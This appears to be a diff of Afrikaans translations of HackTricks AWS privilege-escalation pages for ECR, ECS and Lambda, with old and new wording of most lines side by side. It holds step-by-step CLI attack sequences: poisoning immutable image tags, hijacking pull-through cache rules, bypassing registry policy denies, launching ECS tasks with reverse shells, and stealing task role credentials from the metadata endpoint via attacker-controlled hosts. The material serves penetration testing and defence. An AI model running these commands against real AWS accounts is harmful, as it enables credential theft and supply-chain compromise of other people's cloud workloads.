aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
```
**Potensiële impak**: Ongemagtigde openbare toegang tot die ECR Public repository, wat enige gebruiker toelaat om images te push, pull of te delete.
**Potensiële impak**: Onbevoegde openbare toegang tot die ECR Public repository, wat enigiemand toelaat om images te push, pull of delete.
### `ecr:PutRegistryPolicy`
’n attacker met hierdie toestemming kan die **registry policy** verander om homself, sy rekening (of selfs almal) **read/write access** toe te ken.
’n aanvaller met hierdie toestemming kan die **registerbeleid** **verander** om homself, sy rekening (of selfs almal) **lees/skryf toegang** te verleen.
```bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
```
{{#include ../../../../banners/hacktricks-training.md}}
### ecr:CreatePullThroughCacheRule
Misbruik ECR Pull Through Cache (PTC)-reëls om 'n attacker-controlled upstream namespace aan 'n vertroude private ECR-voorvoegsel te koppel. Dit laat workloads wat vanaf die private ECR trek, deursigtig attacker images ontvang sonder enige push na die private ECR.
Misbruik ECR Pull Through Cache (PTC) reëls om 'n attacker-controlled upstream-naamruimte na 'n vertroude private ECR-voorvoegsel te koppel. Dit laat workloads wat vanaf die private ECR trek, deursigtig attacker images ontvang sonder enige push na die private ECR.
- Vereiste perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
- Tested upstream: public.ecr.aws
Stappe (voorbeeld):
1. Berei 'n attacker image in ECR Public voor
1. Bereid attacker image in ECR Public voor
# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
docker login public.ecr.aws/<public_alias>
docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
2. Skep die PTC-regel in die private ECR om 'n vertroude voorvoegsel na die public registry te koppel
2. Skep die PTC-reël in private ECR om 'n vertroude voorvoegsel aan die public registry te koppel
aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
3. Trek die attacker image via die private ECR-pad (geen push na die private ECR is gedoen nie)
3. Trek die attacker image via die private ECR-pad (geen push na private ECR is gedoen nie)
docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
Potensiële impak: Voorsieningsketting-kompromie deur interne image-names onder die gekose voorvoegsel te kaap. Enige workload wat beelde vanaf die private ECR met daardie voorvoegsel trek sal attacker-controlled inhoud ontvang.
Potential Impact: Voorsieningsketting-kompromittering deur interne image-names onder die gekose voorvoegsel te kaap. Enige workload wat beelde vanaf die private ECR trek en daardie voorvoegsel gebruik, sal attacker-controlled inhoud ontvang.
### `ecr:PutImageTagMutability`
Misbruik hierdie toestemming om 'n repository met tag immutability na mutable om te skakel en vertroude tags (bv. latest, stable, prod) met attacker-controlled inhoud oor te skryf.
Misbruik hierdie toestemming om 'n repository met tag immutability na mutabel om te skakel en vertroude tags (bv. latest, stable, prod) met attacker-controlled inhoud oor te skryf.
- Vereiste perms: `ecr:PutImageTagMutability` plus push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
- Impak: Voorsieningsketting-kompromie deur stilweg onveranderlike tags te vervang sonder om tag-name te verander.
- Impak: Voorsieningsketting-kompromittering deur immuteerbare tags stilweg te vervang sonder om tagname te verander.
Stappe (voorbeeld):
<details>
<summary>Vergiftig 'n onveranderlike tag deur die tag se mutability om te skakel</summary>
<summary>Vergiftig 'n immuteerbare tag deur mutability om te skakel</summary>
```bash
REGION=us-east-1
REPO=ht-immutable-demo-$RANDOM
@@ -158,14 +152,14 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
</details>
#### Globale registerkaping via ROOT Pull-Through Cache rule
#### Globale register kaping via ROOT Pull-Through Cache rule
Skep 'n Pull-Through Cache (PTC) rule using the special `ecrRepositoryPrefix=ROOT` om die wortel van die private ECR-register na 'n upstream openbare register (bv. ECR Public) te map. Enige pull na 'n nie-bestaande repository in die private register sal deursigtig vanaf upstream bedien word, wat supply-chain hijacking moontlik maak sonder om na private ECR te push.
Skep 'n Pull-Through Cache (PTC) rule met die spesiale `ecrRepositoryPrefix=ROOT` om die wortel van die private ECR registry na 'n upstream publieke registry te map (bv., ECR Public). Enige pull na 'n nie-bestaande repository in die private registry sal deursigtig vanaf upstream bedien word, wat supply-chain hijacking moontlik maak sonder om na private ECR te push.
- Vereiste perms: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
- Impak: Pulls na `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` slaag en skep outomaties private repos wat vanaf upstream verkry is.
- Impak: Pulls na `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` slaag en skep outomaties private repos wat vanaf upstream afkomstig is.
> Nota: Vir `ROOT` rules, weglê `--upstream-repository-prefix`. Om dit te verskaf sal 'n valideringsfout veroorsaak.
> Let wel: Vir `ROOT` rules, laat `--upstream-repository-prefix` weg. As jy dit verskaf sal dit 'n valideringsfout veroorsaak.
<details>
<summary>Demo (us-east-1, upstream public.ecr.aws)</summary>
@@ -197,17 +191,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al
```
</details>
### `ecr:PutAccountSetting` (Verlaag `REGISTRY_POLICY_SCOPE` om registry policy denies te omseil)
### `ecr:PutAccountSetting` (Teruggradeer `REGISTRY_POLICY_SCOPE` om registry policy denies te omseil)
Misbruik `ecr:PutAccountSetting` om die registry policy-skop te verander van `V2` (beleid van toepassing op alle ECR-aksies) na `V1` (beleid slegs van toepassing op `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). As 'n beperkende registry policy Deny aksies soos `CreatePullThroughCacheRule` blokkeer, verwyder die afgraderings na `V1` daardie afdwinging sodat identity‑policy Allows in werking tree.
Misbruik `ecr:PutAccountSetting` om die registry policy scope van `V2` (beleid wat op alle ECR-aksies toegepas word) na `V1` (beleid slegs toegepas op `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`) te skuif. As 'n beperkende registry policy Deny aksies soos `CreatePullThroughCacheRule` blokkeer, verwyder 'n afgradering na `V1` daardie afdwinging sodat identity‑policy Allows in werking tree.
- Vereiste perms: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Impak: Vermoë om ECR-aksies wat voorheen deur 'n registry policy Deny geblokkeer is (bv. om PTC-reëls te skep) uit te voer deur tydelik die scope op `V1` te stel.
- Benodigde perms: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Impak: Vermoë om ECR-aksies uit te voer wat voorheen deur 'n registry policy Deny geblokkeer is (bv. skep PTC-reëls) deur tydelik die scope op `V1` te stel.
Stappe (voorbeeld):
<details>
<summary>Omseil registry policy Deny op CreatePullThroughCacheRule deur na V1 te skakel</summary>
<summary>Omseil registry policy Deny op CreatePullThroughCacheRule deur na V1 oor te skakel</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)
@@ -266,3 +260,5 @@ fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
```
</details>
{{#include ../../../../banners/hacktricks-training.md}}

113
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
View File

@@ -12,7 +12,7 @@ Meer **inligting oor ECS** in:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
'n aanvaller wat misbruik maak van die `iam:PassRole`, `ecs:RegisterTaskDefinition` en `ecs:RunTask` toestemming in ECS kan **'n nuwe taakdefinisie genereer** met 'n **kwaadaardige container** wat die metadata-inlogbesonderhede steel en **dit uitvoer**.
'n aanvaller wat misbruik maak van die `iam:PassRole`, `ecs:RegisterTaskDefinition` en `ecs:RunTask` toestemming in ECS kan **'n nuwe task definition genereer** met 'n **kwaadaardige container** wat die metadata credentials steel en dit **uitvoer**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
@@ -75,18 +75,18 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#endtabs }}
**Potential Impact:** Direkte privesc na 'n ander ECS rol.
**Potential Impact:** Direkte privesc na 'n ander ECS role.
### `iam:PassRole`,`ecs:RunTask`
’n aanvaller wat `iam:PassRole` en `ecs:RunTask` toestemmings het, kan ’n nuwe ECS taak begin met gewijzigde **execution role**, **task role** en die houer se **command** waardes. Die `ecs run-task` CLI-opdrag bevat die `--overrides` vlag wat dit toelaat om tydens runtime die `executionRoleArn`, `taskRoleArn` en die houer se `command` te verander sonder om die taakdefinisie aan te raak.
’n aanvaller wat `iam:PassRole` en `ecs:RunTask` permissies het, kan ’n nuwe ECS taak begin met gewysigde **execution role**, **task role** en die houer se **command** waardes. Die `ecs run-task` CLI command bevat die `--overrides` vlag wat toelaat om tydens runtime die `executionRoleArn`, `taskRoleArn` en die houer se `command` te verander sonder om die task definition aan te raak.
Die gespesifiseerde IAM-rolle vir `taskRoleArn` en `executionRoleArn` moet in hul trust policy toelaat dat hulle deur die `ecs-tasks.amazonaws.com` aangeneem word.
Die gespesifiseerde IAM rolle vir `taskRoleArn` en `executionRoleArn` moet vertrou/toelaat om deur die `ecs-tasks.amazonaws.com` aangegaan te word in sy trust policy.
Verder moet die aanvaller die volgende weet:
Verder moet die aanvaller weet:
- ECS cluster naam
- VPC Subnet
- Security group (indien geen Security group gespesifiseer is, sal die standaard een gebruik word)
- Task Definition naam en revisie
- Security group (Indien geen security group gespesifiseer is, sal die standaard een gebruik word)
- Task Definition Name en revision
- Naam van die Container
```bash
aws ecs run-task \
@@ -105,9 +105,9 @@ aws ecs run-task \
]
}'
```
In die code snippet hierbo oorskryf 'n attacker slegs die `taskRoleArn`-waarde. Die attacker moet egter `iam:PassRole` toestemming hê oor die `taskRoleArn` wat in die opdrag gespesifiseer is en die `executionRoleArn` wat in die taakdefinisie gespesifiseer is om die attack te laat plaasvind.
In die kodefragment hierbo oorskryf 'n aanvaller slegs die waarde van `taskRoleArn`. Die aanvaller moet egter die `iam:PassRole`-permisisie hê oor die `taskRoleArn` wat in die opdrag gespesifiseer is en oor die `executionRoleArn` wat in die taakdefinisie gespesifiseer is, sodat die aanval kan plaasvind.
As die IAM role wat die attacker kan deurgee voldoende bevoegdhede het om die ECR image te pull en die ECS task te begin (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) dan kan die attacker dieselfde IAM role vir beide `executionRoleArn` en `taskRoleArn` in die `ecs run-task` opdrag spesifiseer.
As die IAM-rol wat die aanvaller kan deurgee voldoende voorregte het om 'n ECR-image te trek en die ECS-taak te begin (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) kan die aanvaller dieselfde IAM-rol vir beide `executionRoleArn` en `taskRoleArn` in die `ecs run-task` opdrag spesifiseer.
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
]
}'
```
**Potential Impact:** Direkte privesc na enige ECS taakrol.
**Potensiële impak:** Direkte privesc na enige ECS taakrol.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Net soos in die vorige voorbeeld kan 'n aanvaller wat die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissies in ECS misbruik, **'n nuwe task definition genereer** met 'n **kwaadwillige container** wat die metadata-inlogbewyse steel en **dit uitvoer**.\
Echter, in hierdie geval moet 'n container instance beskikbaar wees om die kwaadwillige task definition uit te voer.
Net soos in die vorige voorbeeld kan 'n aanvaller wat misbruik maak van die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissies in ECS **'n nuwe taakdefinisie genereer** met 'n **kwaadwillige container** wat die metadata credentials steel en dit **laat loop**.\
Echter, in hierdie geval moet 'n container-instansie beskikbaar wees om die kwaadwillige taakdefinisie te laat loop.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Potential Impact:** Direkte privesc na enige ECS rol.
**Potensiële impak:** Direkte privesc tot enige ECS role.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
Net soos in die vorige voorbeeld kan 'n aanvaller wat misbruik maak van die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** of **`ecs:CreateService`** permissies in ECS **'n nuwe task definition genereer** met 'n **malicious container** wat die metadata credentials steel en **dit laat loop deur 'n nuwe service te skep met ten minste 1 task wat hardloop.**
Net soos in die vorige voorbeeld kan 'n aanvaller wat misbruik maak van die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** of **`ecs:CreateService`** permissies in ECS **'n nuwe task definition genereer** met 'n **malicious container** wat die **metadata credentials** steel en dit **laat loop deur 'n nuwe service te skep met ten minste 1 task wat hardloop.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -169,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
```
**Potential Impact:** Direkte privesc na enige ECS role.
**Potensiële impak:** Direkte privesc na enige ECS-rol.
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`)
In werklikheid, net met daardie toestemmings is dit moontlik om overrides te gebruik om arbitrêre opdragte in 'n container uit te voer met 'n arbitrêre role met iets soos:
In werklikheid, net met daardie bevoegdhede is dit moontlik om overrides te gebruik om willekeurige kommando's in 'n container as 'n willekeurige rol uit te voer met iets soos:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
@@ -181,12 +181,12 @@ aws ecs run-task \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**Potensiële impak:** Direkte privesc na enige ECS-rol.
**Potential Impact:** Direkte privesc na enige ECS role.
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Hierdie scenario is soos die vorige, maar **sonder** die **`iam:PassRole`** toestemming.\
Dit bly interessant omdat as jy 'n ewekansige container kan laat loop, selfs al is dit sonder 'n rol, kan jy **run a privileged container to escape** na die node en **steal the EC2 IAM role** en die **other ECS containers roles** wat op die node loop.\
Hierdie scenario is soos die vorige, maar **zonder** die **`iam:PassRole`** permissie.\
Dit is steeds interessant omdat as jy 'n arbitrêre container kan uitvoer, selfs al is dit sonder 'n rol, kan jy **run a privileged container to escape** na die node en **steal the EC2 IAM role** en die **other ECS containers roles** wat op die node loop, steel.\
Jy kan selfs **force other tasks to run inside the EC2 instance** wat jy kompromitteer om hul credentials te steel (soos bespreek in die [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
> [!WARNING]
@@ -233,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
'n Aanvaller met die **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kan **opdragte uitvoer** binne 'n lopende container en exfiltrate die IAM-rol wat daaraan gekoppel is (jy benodig die describe permissions omdat dit nodig is om `aws ecs execute-command` te run).\
Maar, om dit te doen, moet die container instance die **ExecuteCommand agent** laat loop (wat standaard nie so is nie).
Een aanvaller met die **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kan **kommando's uitvoer** binne 'n lopende container en die IAM-rol wat daaraan gekoppel is uittrek (jy het die describe-permissies nodig omdat dit nodig is om `aws ecs execute-command` uit te voer).\
Ewenwel, om dit te kan doen, moet die container-instansie die **ExecuteCommand agent** laat loop (wat standaard nie aan is nie).
Daarom kan die aanvaller probeer om:
Daarom kan die aanvaller probeer:
- **Probeer om 'n opdrag uit te voer** in elke lopende container
- **Probeer om 'n kommando in elke lopende container uit te voer**
```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -258,16 +258,16 @@ aws ecs execute-command --interactive \
```
- As hy **`ecs:RunTask`** het, voer 'n taak uit met `aws ecs run-task --enable-execute-command [...]`
- As hy **`ecs:StartTask`** het, voer 'n taak uit met `aws ecs start-task --enable-execute-command [...]`
- As hy **`ecs:CreateService`** het, skep 'n diens met `aws ecs create-service --enable-execute-command [...]`
- As hy **`ecs:UpdateService`** het, werk 'n diens by met `aws ecs update-service --enable-execute-command [...]`
- As hy **`ecs:CreateService`** het, skep 'n service met `aws ecs create-service --enable-execute-command [...]`
- As hy **`ecs:UpdateService`** het, werk 'n service by met `aws ecs update-service --enable-execute-command [...]`
Jy kan **voorbeelde van daardie opsies** vind in **vorige ECS privesc-afdelings**.
**Potensiële impak:** Privesc na 'n ander rol wat aan houers gekoppel is.
**Potential Impact:** Privesc na 'n ander rol wat aan containers gekoppel is.
### `ssm:StartSession`
Kyk op die **ssm privesc page** hoe jy hierdie toestemming kan misbruik om **privesc na ECS**:
Kyk op die **ssm privesc page** hoe jy hierdie permissie kan misbruik om **privesc na ECS**:
{{#ref}}
../aws-ssm-privesc/README.md
@@ -283,16 +283,17 @@ Kyk op die **ec2 privesc page** hoe jy hierdie permissies kan misbruik om **priv
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
'n aanvaller met hierdie permissies kan moontlik 'n EC2-instansie in 'n ECS-kluster registreer en take daarop laat loop. Dit kan die aanvaller toelaat om arbitrêre kode binne die konteks van die ECS-take uit te voer.
'n Aanvaller met hierdie permissies kan moontlik 'n EC2-instansie in 'n ECS-kluster registreer en take daarop laat loop. Dit kan die aanvaller toelaat om willekeurige kode binne die konteks van die ECS-take uit te voer.
- TODO: Is dit moontlik om 'n instansie vanaf 'n ander AWS-rekening te registreer sodat take op masjiene wat deur die aanvaller beheer word, uitgevoer word??
- TODO: Is dit moontlik om 'n instansie van 'n ander AWS-rekening te registreer sodat take op masjiene wat deur die aanvaller beheer word uitgevoer word??
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
> TODO: Toets dit
'n aanvaller met die permissies `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, en `ecs:DescribeTaskSets` kan **'n kwaadwillige taakstel skep vir 'n bestaande ECS-diens en die primêre taakstel opdateer**. Dit stel die aanvaller in staat om **arbitrêre kode binne die diens uit te voer**.
'n Aanvaller met die permissies `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, en `ecs:DescribeTaskSets` kan **'n kwaadaardige task set vir 'n bestaande ECS-diens skep en die primêre task set opdateer**. Dit stel die aanvaller in staat om **willekeurige kode binne die diens uit te voer**.
```bash
# Register a task definition with a reverse shell
echo '{
@@ -318,13 +319,13 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Potensiële impak**: Voer ewekansige kode uit in die betrokke diens, wat moontlik sy funksionaliteit kan benadeel of sensitiewe data kan eksfiltreer.
**Potensiële impak**: Voer arbitrêre kode uit in die aangetaste diens, wat moontlik die funksionaliteit beïnvloed of sensitiewe data eksfiltreer.
## Verwysings
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -332,7 +333,7 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
’n Aanvaller met permissies om ECS capacity providers te bestuur en dienste op te dateer kan ’n EC2 Auto Scaling Group skep wat hy beheer, dit in ’n ECS Capacity Provider verpak, dit aan die teiken-cluster koppel en ’n slagoffer-diens migreer om hierdie provider te gebruik. Tasks sal dan op aanvaller-beheerde EC2 instances geskeduleer word, wat OS-vlak toegang moontlik maak om containers te inspekteer en task role credentials te steel.
An aanvaller met permissies om ECS capacity providers te bestuur en services op te dateer kan 'n EC2 Auto Scaling Group wat hulle beheer skep, dit in 'n ECS Capacity Provider verpak, dit aan die teiken-cluster koppel en 'n slagoffer-service migreer om hierdie provider te gebruik. Tasks sal dan op aanvaller-beheerde EC2-instanse geskeduleer word, wat OS-vlak toegang moontlik maak om containers te inspekteer en task role credentials te steel.
Commands (us-east-1):
@@ -364,17 +365,17 @@ Commands (us-east-1):
- Opsioneel: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials.
- Cleanup
**Potensiële impak:** Attacker-controlled EC2 nodes receive victim tasks, enabling OS-level access to containers and theft of task IAM role credentials.
**Potensiële impak:** Aanvaller-beheerde EC2-node ontvang slagoffer-tasks, wat OS-vlak toegang tot containers en diefstal van task IAM role credentials moontlik maak.
<details>
<summary>Stap-vir-stap opdragte (kopieer/plak)</summary>
<summary>Step-by-step commands (copy/paste)</summary>
<pre>
export AWS_DEFAULT_REGION=us-east-1
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
@@ -409,15 +410,15 @@ aws ecs describe-container-instances --cluster "" --container-instances "" --que
### Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
Misbruik ECS Anywhere om ’n aanvaller-beheerde gasheer as ’n EXTERNAL container instance in ’n slagoffer ECS cluster te registreer en tasks op daardie gasheer te laat loop met bevoorregte task en execution roles. Dit gee OS-vlak beheer oor waar tasks uitgevoer word (jou eie masjien) en laat diefstal van credentials/data vanaf tasks en aangehegte volumes toe sonder om capacity providers of ASGs te raak.
Misbruik ECS Anywhere om 'n aanvaller-beheerde gasheer as 'n EXTERNAL container instance in 'n slagoffer ECS cluster te registreer en tasks op daardie gasheer te laat loop met bevoorregte task en execution rolle. Dit gee OS-vlak beheer oor waar tasks loop (jou eie masjien) en maak dit moontlik om credentials/data van tasks en aangehegte volumes te steel sonder om capacity providers of ASGs aan te raak.
- Vereiste perms (voorbeeld minimaal):
- ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
- Vereiste perms (voorbeeld minimum):
- ecs:CreateCluster (opsioneel), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask
- ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (for the ECS Anywhere instance role and task/execution roles)
- logs:CreateLogGroup/Stream, logs:PutLogEvents (if using awslogs)
- iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (vir die ECS Anywhere instance role en task/execution rolle)
- logs:CreateLogGroup/Stream, logs:PutLogEvents (as jy awslogs gebruik)
- Impact: Run arbitrary containers with chosen taskRoleArn on attacker host; eksfiltreer task-role credentials from 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; toegang tot enige volumes wat deur tasks gemonteer is; minder opvallend as die manipulasie van capacity providers/ASGs.
- Impak: Hardloop arbitrêre containers met geselekteerde taskRoleArn op aanvaller-gasheer; eksfiltreer task-role credentials vanaf 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI; toegang tot enige volumes wat deur tasks gemount is; subtieler as die manipulasie van capacity providers/ASGs.
Stappe
@@ -425,7 +426,7 @@ Stappe
```bash
aws ecs create-cluster --cluster-name ht-ecs-anywhere
```
2) Skep ECS Anywhere rol en SSM-aktivering (vir on-prem/EXTERNAL instansie)
2) Skep ECS Anywhere-rol en SSM-aktivering (vir on-prem/EXTERNAL instansie)
```bash
aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
@@ -434,7 +435,7 @@ aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam:
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
```
3) Verskaf attacker host en registreer dit outomaties as EXTERNAL (voorbeeld: klein AL2 EC2 as “on‑prem”)
3) Voorzie aanvaller-gasheer en registreer dit outomaties as EXTERNAL (voorbeeld: klein AL2 EC2 as “on‑prem”)
<details>
<summary>user-data.sh</summary>
@@ -455,7 +456,7 @@ IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
aws ec2 wait instance-status-ok --instance-ids $IID
```
4) Verifieer EXTERNAL container instance het aangesluit
4) Verifieer dat die EXTERNAL container instance aangesluit het
```bash
aws ecs list-container-instances --cluster ht-ecs-anywhere
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
@@ -498,25 +499,26 @@ CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'contain
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
--container-instances $CI
```
6) Van hier af beheer jy die host wat die tasks uitvoer. Jy kan task logs lees (as awslogs) of direk exec op die host om credentials/data van jou tasks te exfiltrate.
6) Van hier af beheer jy die host wat die tasks uitvoer. Jy kan task logs lees (as awslogs) of direk op die host exec om credentials/data te exfiltrate vanaf jou tasks.
#### Command voorbeeld (plekhouers)
#### Command voorbeeld (plaashouers)
### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
'n Aanvaller met permissies om ECS capacity providers te bestuur en services by te werk kan 'n EC2 Auto Scaling Group skep wat hy beheer, dit in 'n ECS Capacity Provider verpak, dit aan die target cluster koppel, en 'n slagoffer-diens migreer om hierdie provider te gebruik. Tasks sal dan op aanvaller-beheerde EC2 instances geskeduleer word, wat OS-vlak toegang gee om containers te inspekteer en task role credentials te steel.
An attacker met permissies om ECS capacity providers te bestuur en services op te dateer, kan 'n EC2 Auto Scaling Group skep wat hulle beheer, dit in 'n ECS Capacity Provider inpak, dit aan die teiken cluster koppel, en 'n victim service migreer om hierdie provider te gebruik. Tasks sal dan op attacker-controlled EC2 instances geskeduleer word, wat OS-vlak toegang tot containers en diefstal van task role credentials moontlik maak.
Commands (us-east-1):
Opdragte (us-east-1):
- Vereistes
- Skep Launch Template vir die ECS agent om by die target cluster aan te sluit
- Skep 'n Launch Template sodat die ECS agent by die teiken cluster kan aansluit
@@ -532,18 +534,19 @@ Commands (us-east-1):
- Migreer 'n diens na jou provider
- Migreer 'n service na jou provider
- Verifieer dat tasks op aanvaller-instances land
- Verifieer dat tasks op attacker instances land
- Opsioneel: Vanaf die EC2 node, docker exec in die target containers en lees http://169.254.170.2 om die task role credentials te bekom.
- Opsioneel: Vanaf die EC2 node, gebruik docker exec in die target containers en lees http://169.254.170.2 om die task role credentials te bekom.
- Opruiming
**Potensiële impak:** Aanvaller-beheerde EC2 nodes ontvang slagoffer se tasks, wat OS-vlak toegang tot containers moontlik maak en diefstal van task IAM role credentials toelaat.
**Potential Impact:** Attacker-controlled EC2 nodes ontvang victim tasks, wat OS-level toegang tot containers moontlik maak en diefstal van task IAM role credentials.
{{#include ../../../../banners/hacktricks-training.md}}

103
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md
View File

@@ -12,9 +12,9 @@ Meer inligting oor lambda in:
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
Gebruikers met die **`iam:PassRole`, `lambda:CreateFunction`, en `lambda:InvokeFunction`** toestemmings kan hul voorregte eskaleer.\
Hulle kan **create a new Lambda function and assign it an existing IAM role**, wat die funksie die toestemmings gee wat met daardie rol geassosieer word. Die gebruiker kan dan **write and upload code to this Lambda function (with a rev shell for example)**.\
Sodra die funksie opgestel is, kan die gebruiker **trigger its execution** en die beoogde aksies uitvoer deur die Lambda function via die AWS API aan te roep. Hierdie benadering laat die gebruiker toe om take indirek deur die Lambda function uit te voer, met die vlak van toegang wat aan die geassosieerde IAM role toegeken is.\\
